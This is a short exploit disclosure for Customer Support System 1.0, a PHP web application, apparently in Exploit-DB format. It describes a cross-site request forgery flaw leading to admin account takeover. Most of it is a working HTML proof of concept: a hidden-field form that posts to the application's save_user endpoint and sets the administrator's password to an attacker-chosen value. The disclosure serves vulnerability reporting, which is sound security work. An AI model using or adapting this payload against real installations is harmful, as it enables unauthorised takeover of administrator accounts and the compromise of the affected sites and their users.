Customer Support System version 1.0 suffers from a cross site request forgery vulnerability.
# Exploit Title: Customer Support System 1.0 - Cross-Site Request Forgery (Admin Account Takeover)
# Date: 2020-11-11
# Exploit Author: Ahmed Abbas
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Description : Admin Account Takeover
# Vulnerability Details
[+] The username and password parameters can be forged to force the password change of admin user account.
# POC - CSRF HTML
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/customer_support/ajax.php?action=save_user" method="POST">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="table" value="users" />
<input type="hidden" name="firstname" value="Administrator" />
<input type="hidden" name="middlename" value="" />
<input type="hidden" name="lastname" value="" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="newpass" />
<input type="submit" value="Submit request" />
</form>
</body>
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